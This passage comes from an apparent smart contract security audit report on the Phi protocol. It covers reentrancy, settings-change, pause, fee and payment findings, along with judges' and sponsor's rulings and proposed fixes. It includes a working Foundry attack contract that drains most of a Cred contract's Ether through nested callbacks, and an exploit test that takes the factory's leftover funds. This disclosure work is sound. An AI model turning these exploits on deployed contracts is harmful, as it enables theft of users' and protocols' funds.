Preparations. The attacker prepares two sets of cred creation data which may be quite legit. The most important aspect is that the first set uses a “cheaper” bonding curve and the other uses a more expensive one (see the Impact section for more details). The sender’s address would be a helper contract address. However, the attacker doesn’t need to deploy the contract beforehand to know its address, since there are several ways to know a to-be-deployed contract address without exposing its bytecode (e.g. by deployer address and nonce or with the help of the CREATE2 opcode). To sum up, at the moment of checking cred creation data and signing there are no signs of malignancy.

Then, the attacker deploys the helper contract and invokes an attack. Further actions are executed by the contract in a single transaction as follows.

1. The attacker creates the first cred, with the cheap IBondingCurve used. The cred creation code invokes buyShareCred(credIdCounter, 1, 0); as part of its job. The attacker provides excess Ether, so a refund is triggered and the control goes back to the attacker. Note that the counter increment is not reached yet.

       function _createCredInternal(
           address creator_,
           string memory credURL_,
           string memory credType_,
           string memory verificationType_,
           address bondingCurve_,
           uint16 buyShareRoyalty_,
           uint16 sellShareRoyalty_
       )
           internal
           whenNotPaused
           returns (uint256)
       {
           if (creator_ == address(0)) {
               revert InvalidAddressZero();
           }
   
           creds[credIdCounter].creator = creator_;
           creds[credIdCounter].credURL = credURL_;
           creds[credIdCounter].credType = credType_;
           creds[credIdCounter].verificationType = verificationType_;
           creds[credIdCounter].bondingCurve = bondingCurve_;
           creds[credIdCounter].createdAt = uint40(block.timestamp);
           creds[credIdCounter].buyShareRoyalty = buyShareRoyalty_;
           creds[credIdCounter].sellShareRoyalty = sellShareRoyalty_;
   
           buyShareCred(credIdCounter, 1, 0);
   
           emit CredCreated(creator_, credIdCounter, credURL_, credType_, verificationType_);
   
           credIdCounter += 1;
   
           return credIdCounter - 1;
       }

2. The attacker buys some amount of shares of the almost created cred by invoking buyShareCred. Note that there are no significant obstacles to doing that as the attacker can employ a flash loan. Again, the attacker provides excess Ether, so a refund is triggered and the control goes back to the attacker.

3. Remember that the control is still nested in buyShareCred nested in the first createCred. This time the attacker invokes the createCred again, with the second cred creation data, with a more expensive bonding curve used. Note that there are no reentrancy guards in createCred, buyShareCred, or sellShareCred. The data is passed to _createCredInternal where it overwrites the first cred contents in the creds[credIdCounter] (remember, the counter is not incremented yet by the first createCred). Here is the most important part of the overwriting for the attacker: they just changed the bonding curve.

       creds[credIdCounter].bondingCurve = bondingCurve_;

A couple of lines below buyShareCred will be hit again and the attacker grabs back the control in the usual manner.

4. Now the attacker calls sellShareCred and dumps as many purchased shares as possible until depleting the Cred balance or his own share balance. The “more expensive” bonding curve gives the attacker more Ether than they spend while buying on step 2. Note that the share lock time also won’t help as the timestamp is not yet set, which is the subject of another finding.

       if (isBuy) {
           cred.currentSupply += amount_;
           uint256 excessPayment = msg.value - price - protocolFee - creatorFee;
           if (excessPayment > 0) {
               _msgSender().safeTransferETH(excessPayment);
           }
           lastTradeTimestamp[credId_][curator_] = block.timestamp;
       } else {
           cred.currentSupply -= amount_;
           curator_.safeTransferETH(price - protocolFee - creatorFee);
       }

Even if the SHARE_LOCK_PERIOD was honored, that would mean that the attacker has to wait 10 minutes before pocketing the profit. That would make the situation a bit more difficult for the attacker, but still highly dangerous for the protocol.

5. At this moment almost all Ether from the Cred contract is transferred to the attacker’s contract. The attacker has to keep some of the Ether intact since now the unwinding of the nested calls is happening (and some fees are paid): the second createCred, buyShareCred, and the first createCred.

Impact

As soon as there is more than one bonding curve whitelisted in the protocol, the vulnerability allows to drain almost entire protocol funds. Whitelisting more than one curve seems to be an expected behavior.

Fine-tuning the numbers to exploit the bonding curve price differences is a mere technicality, e.g. if there was just a 10% price difference that would be more than enough to perform an attack. Also note that on the current codebase, the attack may be repeated numerously and instantly.

Proof of Concept

Please apply the patch to the test/Cred.t.sol and run with forge test --match-test testCredDraining -vv.

diff --git a/test/Cred.t.sol.orig b/test/Cred.t.sol
index da9157c..12b60e7 100644
--- a/test/Cred.t.sol.orig
+++ b/test/Cred.t.sol
@@ -9,7 +9,9 @@ import { LibClone } from "solady/utils/LibClone.sol";
 import { Settings } from "./helpers/Settings.sol";
 import { Cred } from "../src/Cred.sol";
 import { ICred } from "../src/interfaces/ICred.sol";
+import { IBondingCurve } from "../src/interfaces/IBondingCurve.sol";
 import { BondingCurve } from "../src/curve/BondingCurve.sol";
+import { FixedPriceBondingCurve } from "../src/lib/FixedPriceBondingCurve.sol";
 
 contract TestCred is Settings {
     uint256 private constant GRACE_PERIOD = 14 days;
@@ -243,4 +245,158 @@ contract TestCred is Settings {
         // Final assertions
         assertEq(cred.credInfo(credId).currentSupply, 1); // Only initial purchase remains
     }
+
+    // test helper function
+    function _makeCreateData(address curve, address sender) private view returns (bytes memory data, bytes memory signature) {
+        bytes memory signCreateData = abi.encode(
+            block.timestamp + 100, sender, 0, curve, "test", "BASIC", "SIGNATURE", 0x0
+        );
+        bytes32 createMsgHash = keccak256(signCreateData);
+        bytes32 createDigest = ECDSA.toEthSignedMessageHash(createMsgHash);
+        (uint8 cv, bytes32 cr, bytes32 cs) = vm.sign(claimSignerPrivateKey, createDigest);
+        if (cv != 27) cs = cs | bytes32(uint256(1) << 255);
+
+        return (signCreateData, abi.encodePacked(cr, cs));
+    }
+
+    // forge test --match-test testCredDraining -vv
+    function testCredDraining() public {
+        // Constructing playground
+        _createCred("BASIC", "SIGNATURE", 0x0);
+        vm.startPrank(owner);
+        FixedPriceBondingCurve cheapCurve = new FixedPriceBondingCurve(owner);
+        cheapCurve.setCredContract(address(cred));
+        cred.addToWhitelist(address(cheapCurve));
+        vm.stopPrank();
+
+        vm.deal(address(cred), 50 ether);
+        uint credInitialBalance = address(cred).balance;
+        // Playground constructed: some creds and some ether received from share buyers
+
+        vm.deal(anyone, 2 ether);
+        uint attackerInitialBalance = address(anyone).balance;
+        vm.startPrank(anyone);
+        Attacker a = new Attacker(ICredExt(address(cred)));
+        // Step 0:
+        // Attack starts with just a couple of creds about to be created.
+        (bytes memory cheapData, bytes memory cheapSignature) = _makeCreateData(address(cheapCurve), address(a));
+        (bytes memory expensiveData, bytes memory expensiveSignature) = _makeCreateData(address(bondingCurve), address(a));
+
+        // See the contract Attacker for further details
+        a.attack{ value: 2 ether }(cheapData, cheapSignature, expensiveData, expensiveSignature);
+
+        uint credLosses = credInitialBalance - address(cred).balance;
+        uint attackerGains = address(anyone).balance - attackerInitialBalance;
+
+        console2.log("Cred lost: ", credLosses * 100 / credInitialBalance, "% of its balance");
+        assert(credLosses > 45 ether);
+        console2.log("Attacker gained: ", attackerGains / attackerInitialBalance, "times his initial balance");
+        assert(attackerGains > 40 ether);
+    }
+}
+
+
+interface ICredExt is ICred {
+    function createCred(
+        address creator_,
+        bytes calldata signedData_,
+        bytes calldata signature_,
+        uint16 buyShareRoyalty_,
+        uint16 sellShareRoyalty_
+    ) external payable;
+
+    function credIdCounter() external returns (uint256);
 }
+
+contract Attacker
+{
+    uint256 private constant sharesBuffer = 900;
+
+    ICredExt private immutable cred;
+    address private immutable owner;
+
+    bytes private cheapData;
+    bytes private cheapSignature;
+    bytes private expensiveData;
+    bytes private expensiveSignature;
+
+    uint256 private stage = 0;
+    uint256 private credId;
+
+    constructor(ICredExt cred_) {
+        cred = cred_;
+        owner = msg.sender;
+    }
+
+    function _createCred(bytes storage data, bytes storage signature) private {
+        cred.createCred{ value: 1.5 ether }(address(this), data, signature, 0, 0);
+    }
+
+    function attack(bytes calldata cheapData_, bytes calldata cheapSignature_,
+                    bytes calldata expensiveData_, bytes calldata expensiveSignature_) external payable {
+        require(msg.sender == owner);
+
+        // All the action is packed inside this call and several receive() callbacks.
+        cheapData = cheapData_;
+        cheapSignature = cheapSignature_;
+        expensiveData = expensiveData_;
+        expensiveSignature = expensiveSignature_;
+
+        stage = 1;
+        credId = cred.credIdCounter();  // This credId will be eventually overwritten in the Cred.
+
+        // Step 1: creating the first cred, with a cheap IBondingCurve used.
+        _createCred(cheapData, cheapSignature);
+
+        stage = 0;  // End of attack, at this moment the money is gone.
+    }
+
+    receive() external payable {
+        require(msg.sender == address(cred));
+
+        if (stage == 1) {
+            stage = 2;
+            // Step 2: we got there with excess payment refund triggered deep inside createCred.
+            // Now we buy more shares cheaply and hit receive() again with another refund.
+            cred.buyShareCred{ value: 0.1 ether }(credId, sharesBuffer, 0);
+        }
+        else if (stage == 2) {
+            stage = 3;
+            // Step 3: not is a tricky part: we create a new cred, but credIdCounter is not updated yet!
+            // Essentially, we overwrite the cred created at the step 1, setting an expensive IBondingCurve,
+            // and triggering another refund.
+            _createCred(expensiveData, expensiveSignature);
+        }
+        else if (stage == 3) {
+            stage = 4;
+            assert(credId == cred.credIdCounter()); // yep, we're still here
+
+            // Step 4: time to sell. Just an example of estimation of withdrawable value.
+            uint256 sellAmount = 0;
+            // We need to keep some fee on the cred's balance to allow nested call unwinds.
+            uint256 initialProtocolFee = 0.1 ether;
+            IBondingCurve curve = IBondingCurve(cred.credInfo(credId).bondingCurve);
+            while (sellAmount < sharesBuffer + 2) {
+                (uint256 price, uint256 protocolFee, uint256 creatorFee) =
+                        curve.getPriceData(credId, sharesBuffer + 2, sellAmount + 1, false);
+                if (price + protocolFee + creatorFee + initialProtocolFee > address(cred).balance)
+                    break;
+                else
+                    sellAmount++;
+            }
+
+            cred.sellShareCred(credId, sellAmount, 0);
+        }
+        else if (stage == 4) {
+            // The final step receives the sale profit and also allows nested calls to unwind the stack.
+            withdraw();    // Receiving and sending to the attacker.
+        }
+        else
+            revert("bad stage");
+    }
+
+    function withdraw() public {
+        payable(owner).transfer(address(this).balance);
+    }
+}
+

Tools Used

Manual Review, Foundry

Recommended Mitigation Steps

To mitigate this attack vector it would be enough to add a reentrancy guard here:

    function createCred(
        address creator_,
        bytes calldata signedData_,
        bytes calldata signature_,
        uint16 buyShareRoyalty_,
        uint16 sellShareRoyalty_
    )
        public
        payable
        whenNotPaused
+       nonReentrant
    {

• However, I recommend protecting with reentrancy guards all protocol functions directly or indirectly dealing with assets or important state.
• Another important measure to consider is adhering to the Checks-Effects-Interactions Pattern.

ZaK3939 (Phi) confirmed via issue #25

0xDjango (judge) commented:

After further discussion, this submission should be selected for the public report. It shares the same root cause and fix as #25, though highlights a much more severe impact. Sponsor indicated that there is a possibility that multiple price curves may be selectable in the future.

Please note: the above re-assessment took place approximately 3 weeks after judging and awarding were finalized.

[H-07] Unrestricted changes to token settings allow artists to alter critical features

Submitted by 0xCiphky, also found by MrPotatoMagic, rbserver (1, 2), petarP1998, pipidu83, kuprum (1, 2), ironside, onthehunt11, OpaBatyo, 0xNirix (1, 2), eierina, hail_the_lord, Trooper, 0xBeastBoy (1, 2), and NexusAudits

The updateArtSettings function in the PhiFactory contract allows artists to modify several key settings of their art at any time. These settings include the URI link, royalty fee and soulBounded (non-transferable) feature.

    function updateArtSettings(
        uint256 artId_,
        string memory url_,
        address receiver_,
        uint256 maxSupply_,
        uint256 mintFee_,
        uint256 startTime_,
        uint256 endTime_,
        bool soulBounded_,
        IPhiNFT1155Ownable.RoyaltyConfiguration memory configuration
    )
        external
        onlyArtCreator(artId_)
    {
        ...
        art.receiver = receiver_;
        art.maxSupply = maxSupply_;
        art.mintFee = mintFee_;
        art.startTime = startTime_;
        art.endTime = endTime_;
        art.soulBounded = soulBounded_;
        art.uri = url_;

        uint256 tokenId = IPhiNFT1155Ownable(art.artAddress).getTokenIdFromFactoryArtId(artId_);
        IPhiNFT1155Ownable(art.artAddress).updateRoyalties(tokenId, configuration);
        emit ArtUpdated(artId_, url_, receiver_, maxSupply_, mintFee_, startTime_, endTime_, soulBounded_);
    }

The problem is that there are no restrictions or limitations on how these settings can be changed after the art has been created and minted. This flexibility allows artists to alter critical functionalities in ways that could negatively impact existing holders:

1. Changing Soulbound Status: Artists can toggle the soulBounded status to lock transfers, effectively trapping users who purchased NFTs under the assumption they were transferable.
2. Modifying Royalties: Artists can set royalty fees to extremely high values after initial sales, forcing holders to pay unexpected fees upon resale.
3. Updating URLs: Artists can change the linkURI, potentially misleading users or affecting the NFT’s perceived value by altering the associated content. In the worst case, the URL could be changed to a malicious link, posing security risks to users who interact with it.

These changes can be made at any time, without prior notice to holders, leaving users vulnerable to unfavourable adjustments.

Impact

Allowing unrestricted changes to critical token settings poses a significant risk to the stability and trustworthiness of the NFTs. Users who have already minted or purchased NFTs could be adversely affected by changes they did not agree to, such as increased fees or transfer restrictions.

Recommendation

Implement limits on how and when critical settings can be changed, such as capping royalty rates. This would help protect users while maintaining some flexibility for artists.

ZaK3939 (Phi) confirmed and commented:

Given the specifications of our NFT, which is relatively inexpensive and doesn’t have strict conditions regarding the number of mints, we feel that classifying this as a High severity issue is inappropriate.

We will implement the fix. Regarding updates, we will remove the Soulbound feature and the URI update functionality.

As for royalties, some other platforms allow up to 100% royalties. While we’re using EIP-2981, which is not mandatory, we plan to implement a maximum royalty of around 20%.

0xDjango (judge) commented:

I am going to rule HIGH on this one. All three conditions outlined by the warden are medium/high, and the accumulation of all three makes this a clear high in my opinion.

Medium Risk Findings (8)

[M-01] Contract PhiNFT1155 can’t be paused

Submitted by kuprum, also found by MrPotatoMagic, Rhaydden, hail_the_lord, Gosho, inh3l, and DigiSafe

The pausing mechanism of PhiNFT1155 contract is implemented incorrectly and doesn’t work. Users are still able to transfer NFTs in paused state.

Summary

Contract PhiNFT1155 inherits from the following parent contracts:

contract PhiNFT1155 is
    Initializable,
    UUPSUpgradeable,
    ERC1155SupplyUpgradeable,
    ReentrancyGuardUpgradeable,
    PausableUpgradeable,
    Ownable2StepUpgradeable,
    IPhiNFT1155,
    Claimable,
    CreatorRoyaltiesControl
{

The problem with the above is that inheriting from PausableUpgradeable is not effective in the scope of OZ ERC1155 contracts. As a result, users are able to transfer NFT tokens even when the contract is paused, as the below PoC demonstrates.

Proof of Concept

Drop this test to PhiFactory.t.sol and execute via forge test --match-test Kuprum:

function testKuprum_PhiNFT1155PauseNotWorking() public {
    _createArt(ART_ID_URL_STRING);
    uint256 artId = 1;
    bytes32 advanced_data = bytes32("1");
    bytes memory signData =
        abi.encode(expiresIn, participant, referrer, verifier, artId, block.chainid, advanced_data);
    bytes32 msgHash = keccak256(signData);
    bytes32 digest = ECDSA.toEthSignedMessageHash(msgHash);
    (uint8 v, bytes32 r, bytes32 s) = vm.sign(claimSignerPrivateKey, digest);
    if (v != 27) s = s | bytes32(uint256(1) << 255);
    bytes memory signature = abi.encodePacked(r, s);
    bytes memory data =
        abi.encode(1, participant, referrer, verifier, expiresIn, uint256(1), advanced_data, IMAGE_URL, signature);
    bytes memory dataCompressed = LibZip.cdCompress(data);
    uint256 totalMintFee = phiFactory.getArtMintFee(1, 1);

    vm.startPrank(participant, participant);
    phiFactory.claim{ value: totalMintFee }(dataCompressed);

    // referrer payout
    address artAddress = phiFactory.getArtAddress(1);
    assertEq(IERC1155(artAddress).balanceOf(participant, 1), 1, "participant erc1155 balance");
    
    // Everything up to here is from `test_claim_1155_with_ref`
    
    // Owner pauses the art contract
    vm.startPrank(owner);
    phiFactory.pauseArtContract(artAddress);

    // Users are still able to transfer NFTs despite the contract being paused
    assertEq(IERC1155(artAddress).balanceOf(user1, 1), 0, "user1 doesn't have any tokens");
    vm.startPrank(participant);
    IERC1155(artAddress).safeTransferFrom(participant, user1, 1, 1, hex"00");
    assertEq(IERC1155(artAddress).balanceOf(participant, 1), 0, "participant now has 0 tokens");
    assertEq(IERC1155(artAddress).balanceOf(user1, 1), 1, "user1 now has 1 token");
}

Tools Used

Foundry

Recommended Mitigation Steps

We recommend to inherit from ERC1155PausableUpgradeable instead of PausableUpgradeable; this enforces the paused state on the NFT transfer functions. Apply the following diff to PhiNFT1155.sol:

diff --git a/src/art/PhiNFT1155.sol b/src/art/PhiNFT1155.sol
index a280d05..258cb5a 100644
--- a/src/art/PhiNFT1155.sol
+++ b/src/art/PhiNFT1155.sol
@@ -8,7 +8,8 @@ import { Claimable } from "../abstract/Claimable.sol";
 import { ERC1155Upgradeable } from "@openzeppelin/contracts-upgradeable/token/ERC1155/ERC1155Upgradeable.sol";
 import { ERC1155SupplyUpgradeable } from
     "@openzeppelin/contracts-upgradeable/token/ERC1155/extensions/ERC1155SupplyUpgradeable.sol";
-import { PausableUpgradeable } from "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol";
+import { ERC1155PausableUpgradeable } from 
+    "@openzeppelin/contracts-upgradeable/token/ERC1155/extensions/ERC1155PausableUpgradeable.sol";
 import { ReentrancyGuardUpgradeable } from "@openzeppelin/contracts-upgradeable/utils/ReentrancyGuardUpgradeable.sol";
 import { Ownable2StepUpgradeable } from "@openzeppelin/contracts-upgradeable/access/Ownable2StepUpgradeable.sol";
 import { SafeTransferLib } from "solady/utils/SafeTransferLib.sol";
@@ -23,12 +24,21 @@ contract PhiNFT1155 is
     UUPSUpgradeable,
     ERC1155SupplyUpgradeable,
     ReentrancyGuardUpgradeable,
-    PausableUpgradeable,
+    ERC1155PausableUpgradeable,
     Ownable2StepUpgradeable,
     IPhiNFT1155,
     Claimable,
     CreatorRoyaltiesControl
 {
+    // The following functions are overrides required by Solidity.
+
+    function _update(address from, address to, uint256[] memory ids, uint256[] memory values)
+        internal
+        override(ERC1155PausableUpgradeable, ERC1155SupplyUpgradeable)
+    {
+        super._update(from, to, ids, values);
+    }
+
     /*//////////////////////////////////////////////////////////////
                                  USING
     //////////////////////////////////////////////////////////////*/

Assessed type

Library

ZaK3939 (Phi) confirmed via duplicate Issue #61

0xDjango (judge) commented:

Given the sponsor’s acceptance of the issue, it can be concluded that omitting the whenNotPaused function on the transfer functions was indeed an oversight.

Note: For full discussion, see here.

[M-02] Incorrect fee handling prevents protocol from updating fees

Submitted by kn0t, also found by 0xc0ffEE, 0xrafaelnicolau, Decap, federodes, Ruhum (1, 2), CAUsr, OpaBatyo (1, 2), 0xNirix, 0xBugSlayer, 20centclub (1, 2), MrPotatoMagic, rbserver (1, 2), and 0xCiphky

The primary impact of this bug is that the protocol cannot change the mint and art creation fees as intended. This limitation has the following consequences:

The protocol is unable to set the correct mint fee of 0.00005 ETH per NFT minted, as documented in the specifications:

   Mint Fee
   This fee is applied when a Minter wants to mint a Cred NFT.
   Protocol will have a mint price/fee of 0.00005 ETH.

    function setProtocolFee(uint256 protocolFee_) external onlyOwner {
        if (protocolFee_ > 10_000) revert ProtocolFeeTooHigh(); // @audit <== This check is incorrect
        mintProtocolFee = protocolFee_;
        emit ProtocolFeeSet(protocolFee_);
    }

    function setArtCreatFee(uint256 artCreateFee_) external onlyOwner {
        if (artCreateFee_ > 10_000) revert ArtCreatFeeTooHigh(); // @audit <== This check is incorrect
        artCreateFee = artCreateFee_;
        emit ArtCreatFeeSet(artCreateFee_);
    }

This discrepancy between the intended fee (0.00005 ETH) and the maximum settable fee (10,000 wei) renders the fee adjustment mechanism ineffective.

The protocol loses the ability to adjust its revenue model in response to market conditions or strategic decisions, as both the mint fee and art creation fee are effectively locked at their initial values.

Below lines demonstrate that the fees are being applied as direct values rather than percentages, contrary to the setter functions’ assumptions.

From src/PhiFactory.sol:

   function _processClaim(
        uint256 artId_,
        address minter_,
        address ref_,
        address verifier_,
        uint256 quantity_,
        bytes32 data_,
        string memory imageURI_,
        uint256 etherValue_
    )
        private
    {
        PhiArt storage art = arts[artId_];

        // Handle refund
        uint256 mintFee = getArtMintFee(artId_, quantity_);
        if ((etherValue_ - mintFee) > 0) {
            _msgSender().safeTransferETH(etherValue_ - mintFee);
        }
        protocolFeeDestination.safeTransferETH(mintProtocolFee * quantity_); // @audit

From src/art/PhiNFT1155.sol:

   function createArtFromFactory(uint256 artId_) external payable onlyPhiFactory whenNotPaused returns (uint256) {
        _artIdToTokenId[artId_] = tokenIdCounter;
        _tokenIdToArtId[tokenIdCounter] = artId_;

        uint256 artFee = phiFactoryContract.artCreateFee();

        protocolFeeDestination.safeTransferETH(artFee); // @audit

It’s important to note that while the immediate financial impact may be limited if the initial fees were set correctly, the long-term implications of this inflexibility could be significant for the protocol’s adaptability and financial management.

Proof of Concept

This POC demonstrates the inability to set the correct protocol and art creation fees as intended by the protocol.

1. Add the test to the TestPhiFactory contract in test/PhiFactory.t.sol.
2. Run forge test --mt test_ChangeProtocolFees.

function test_ChangeProtocolFees() public {
    assertEq(phiFactory.owner(), owner, "owner is correct");
    assertEq(phiFactory.mintProtocolFee(), PROTOCOL_FEE, "protocolFee is correct");

    vm.startPrank(owner);
    // maximum 10000 wei is allowed, but according to protocol documentations and deploy script it should be 0.00005 ether
    vm.expectRevert(IPhiFactory.ProtocolFeeTooHigh.selector);
    phiFactory.setProtocolFee(10001);

    vm.expectRevert(IPhiFactory.ProtocolFeeTooHigh.selector);
    phiFactory.setProtocolFee(0.00005 ether);

    vm.expectRevert(IPhiFactory.ArtCreatFeeTooHigh.selector);
    phiFactory.setArtCreatFee(10001);

    vm.expectRevert(IPhiFactory.ArtCreatFeeTooHigh.selector);
    phiFactory.setArtCreatFee(0.00005 ether);
    vm.stopPrank();
}

Recommended Mitigation Steps

+   uint constant MAX_PROTOCOL_FEE = 0.00005 ether;
+   uint constant MAX_ART_CREATE_FEE = 0.00005 ether;

    function setProtocolFee(uint256 protocolFee_) external onlyOwner {
-       if (protocolFee_ > 10_000) revert ProtocolFeeTooHigh();
+       if (protocolFee_ > MAX_PROTOCOL_FEE) revert ProtocolFeeTooHigh();
        mintProtocolFee = protocolFee_;
        emit ProtocolFeeSet(protocolFee_);
    }

    function setArtCreatFee(uint256 artCreateFee_) external onlyOwner {
-       if (artCreateFee_ > 10_000) revert ArtCreatFeeTooHigh();
+       if (artCreateFee_ > MAX_ART_CREATE_FEE) revert ArtCreatFeeTooHigh();
        artCreateFee = artCreateFee_;
        emit ArtCreatFeeSet(artCreateFee_);
    }

ZaK3939 (Phi) confirmed and commented via duplicate Issue #13

To address this, we will modify the set function to use absolute values instead of percentages.

[M-03] PhiFactory:claim potentially causing loss of funds if mintFee changed beforehand

Submitted by pep7siup, also found by 0xNirix (1, 2), TECHFUND-inc, Tigerfrake, 13u9, DigiSafe, federodes, Decap, waydou, EaglesSecurity, smaul, rscodes, willycode20, Gosho, 20centclub, Kaysoft, MrPotatoMagic, rbserver, 0xCiphky, and biakia

If the mintFee was lowered by the Art creator via updateArtSettings before the claim was executed, the msg.value from user would become larger than the updated value of mintFee. As the function does not validate msg.value and consumes the mintFee directly, the excess ETH sent by the user will not be refunded, causing a loss of funds for user.

If PhiFactory still holds positive ETH balance, a malicious user can exploit this by sending less msg.value than expected (or no ETH at all). This results in PhiFactory’s ETH being used for the mintFee payment instead, causing a loss for the protocol.

Proof of Concept

This external call to this.merkleClaim forwards the mintFee value of ETH without validating it against msg.value.

• Found in src/PhiFactory.sol at Line 283

  264:    function claim(bytes calldata encodeData_) external payable {
      ...
  282:            uint256 mintFee = getArtMintFee(artId, quantity_);
  283: =>             this.merkleClaim{ value: mintFee }(proof, claimData, mintArgs, leafPart_); 
  284:        } else if (art.verificationType.eq("SIGNATURE")) {
      ...
  304:    }

Similarly, this external call to this.signatureClaim forwards the mintFee value of ETH without validating it against msg.value.

• Found in src/PhiFactory.sol at Line 300

  264:    function claim(bytes calldata encodeData_) external payable {
      ...
  299:            uint256 mintFee = getArtMintFee(artId, quantity_);
  300: =>             this.signatureClaim{ value: mintFee }(signature_, claimData, mintArgs);
  301:        } else {
      ...
  304:    }

Although the merkleClaim and signatureClaim functions can process refunds, the claim function calls of these two functions externally (defined as external instead of public), results in the msg.value being overridden by the mintFee. As a result, the original msg.value sent to claim() remains unvalidated and become vulnerable to exploits.

POC

Apply patch & run forge test -vvv --mt test_claim_exploit:

diff --git a/test/PhiFactory.t.sol b/test/PhiFactory.t.sol
index f999052..3b6853d 100644
--- a/test/PhiFactory.t.sol
+++ b/test/PhiFactory.t.sol
@@ -300,4 +300,43 @@ contract TestPhiFactory is Settings {
         assertEq(newRoyaltyReceiver, checkRoyaltyConfig.royaltyRecipient, "royalty receiver should be updated");
         assertEq(500, checkRoyaltyConfig.royaltyBPS, "royalty bps should be updated");
     }
+
+    function test_claim_exploit() public {
+        _createArt(ART_ID_URL_STRING); // artID 1
+        _createArt(ART_ID_URL_STRING); // artID 2
+
+        bytes[2] memory dataCompressed;
+
+        for (uint i = 0; i < dataCompressed.length; i++) {
+            bytes32 advanced_data = bytes32("1");
+            uint256 artId = i + 1;
+            bytes memory signData =
+                abi.encode(expiresIn, participant, referrer, verifier, artId, block.chainid, advanced_data);
+            bytes32 msgHash = keccak256(signData);
+            bytes32 digest = ECDSA.toEthSignedMessageHash(msgHash);
+            (uint8 v, bytes32 r, bytes32 s) = vm.sign(claimSignerPrivateKey, digest);
+            if (v != 27) s = s | bytes32(uint256(1) << 255);
+            bytes memory signature = abi.encodePacked(r, s);
+            bytes memory data =
+                abi.encode(artId, participant, referrer, verifier, expiresIn, uint256(1), advanced_data, IMAGE_URL, signature);
+            dataCompressed[i] = LibZip.cdCompress(data);
+        }
+
+        vm.startPrank(participant, participant);
+
+        // @audit claim artId 1 with extra 0.1 ETH to simulate the mintFee has been lowered right before
+        uint256 totalMintFee = phiFactory.getArtMintFee(1, 1);
+        phiFactory.claim{ value: totalMintFee + 0.1 ether }(dataCompressed[0]);
+        uint256 phiFactoryBalance1 = address(phiFactory).balance;
+        assertEq(phiFactoryBalance1, 0.1 ether, "balance is empty");
+        console2.log("phiFactory has extra %d after claim artId 1", phiFactoryBalance1);
+
+        // @audit claim artId 2 to exploit phiFactory balance since it has extra 0.1 ether
+        totalMintFee = phiFactory.getArtMintFee(2, 1);
+        phiFactory.claim{ value: 0 }(dataCompressed[1]); // 0 ETH was used
+        uint256 phiFactoryBalance2 = address(phiFactory).balance;
+        assertEq(phiFactoryBalance2, phiFactoryBalance1 - totalMintFee, "phiFactory balance not exploited");
+        console2.log("phiFactory after claim artId 2", phiFactoryBalance2);
+        console2.log("phiFactory loss %d after claim artId 2", phiFactoryBalance1 - phiFactoryBalance2);
+    }
 }

Result:

forge test -vvv --mt test_claim_exploit

Ran 1 test for test/PhiFactory.t.sol:TestPhiFactory
[PASS] test_claim_exploit() (gas: 2103923)
Logs:
  phiFactory has extra 100000000000000000 after claim artId 1
  phiFactory after claim artId 2 89550000000000000
  phiFactory loss 10450000000000000 after claim artId 2

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.78ms (1.92ms CPU time)

This confirms both cases where msg.value > mintFee and msg.value = 0 could be exploited, causing loss of funds for both users and the protocol.

Tools Used

Foundry test

Recommended Mitigation Steps

Validate msg.value against mintFee to ensure the caller sent in the correct amount of ETH. Or, forward msg.value directly to subsequent claim process since the _processClaim will eventually handle the refund.

Assessed type

Payable

0xDjango (judge) decreased severity to Medium

ZaK3939 (Phi) confirmed

[M-04] Cred creator could cause stuck funds

Submitted by petarP1998

Update of cred can be triggered by the cred creator. If there are already issued shares for users, and the cred creator decides to update the sellShareRoyalty_ this will lead users to pay up to 50% fee depending on the value. And users will be in situation that to withdraw their funds, they need to pay 50% to the cred creator and additionally some fee to the protocol.

Proof of Concept

We have the following situation:

1. 500 issued shares and the current sell fee is 0.05%.
2. And the cred creator decides to increase the fee to 50%.
3. If any of the users wants to withdraw funds, they need to pay 50% to the creator and also protocol fee.

For example, let’s imagine that the current number of shares issued is 500 of max 999 and one of the users is owner of 5 shares. If we add this test to Cred.t.sol:

function test_value() public {
        uint256 x = bondingCurve.getSellPrice(500, 5);
        assertEq(153_019_801_980_198_020, x);
    }

We will see that the sell price is around 1.53e17 which in the current price is equal to $420, this means that the 50% or $210 will be paid to the cred creator as fee, which will lead to significant lose of funds for share holders. If the number of shares that are issued the lose is growing.

Recommended Mitigation Steps

The protocol should implement a mechanism where this type of updates, will be applied after some period. I will explain my idea in the below lines:

1. If cred creator wants to increase the sellShareRoyalty_, it should first create a request for updating which can be applied after 2 days, for example.
2. In these two days users who are not okay with the new value of sellShareRoyalty_ can withdraw their funds from the protocol.

My proposal is to have two functions:

1. updateSellShareRoyaltyRequest which will create this request and this request can be approved after some period.
2. approveUpdateSellShareRoyaltyRequest if the period already passed the cred creator can apply the change.

Assessed type

Access Control

ZaK3939 (Phi) confirmed and commented:

The observation is valid. However, I believe the main issue is the ability to update the royalty percentage. The high percentage is deliberately set to allow creators to set up creds where they prefer to minimize sharing with others. Therefore, my plan is to keep the current high percentage limit, but remove the update functionality altogether. This vulnerability should be rated medium severity in my opinion.

0xDjango (judge) decreased severity to Medium and commented:

I agree that the functionality should be removed or placed behind a timelock. Medium.

MrPotatoMagic (warden) commented:

Hi @0xDjango, I believe this issue should be of QA-severity.

The main intention behind creds is for users to form, visualize, showcase their onchain identity. When a cred is created, the creator (i.e., the onchain identity) is the source of trust when users buy up their shares. This means, the more social, reputed and trusted an identity is, the lower are the chances of a creator wanting to perform such an attack.

It is highly unlikely a high reputed creator would want to perform such an attack. When it comes to low reputed creators, who are more likely to perform this attack, the impact would be low because the shares being bought for such untrusted entities would not be high (Note: This claim is based on onchain data I’ve observed from a similar protocol). If we look at the price curve, even if 5-10 shares were bought by users, the overall loss would be minimum and bearable, considering that users know the risk when buying shares of untrusted onchain identities.

I think the above points along with the fact that 0-50% is an acceptable range defined by the protocol as per sponsor’s comments above, it seems that this issue is rather suited for QA-severity.

0xDjango (judge) commented:

This is a valid medium severity issue. Such a function that can directly affect user funds, especially through frontrunning, should be mitigated by a timelock or similar.

[M-05] Lack of data validation when users are claiming their art allows malicious user to bypass signature/merkle hash to provide unapproved ref_, artId_ and imageURI

Submitted by rscodes, also found by gregom, MrValioBg, McToady, and MrPotatoMagic

In the file PhiFactory.sol, the lack of checks in merkleClaim allows malicious users to bypass the hash check to pass in their own parameter of choice. The 3 variables that could possibly be manipulated (referral, artId and imageURI) and their impact will be each discussed below.

Missing ref_ and artId_ in validation.

As we can see in merkleClaim, address ref_ and uint256 artId_ is decoded from encodeData_ which is simply a bytes data type passed into the function parameter by the user.

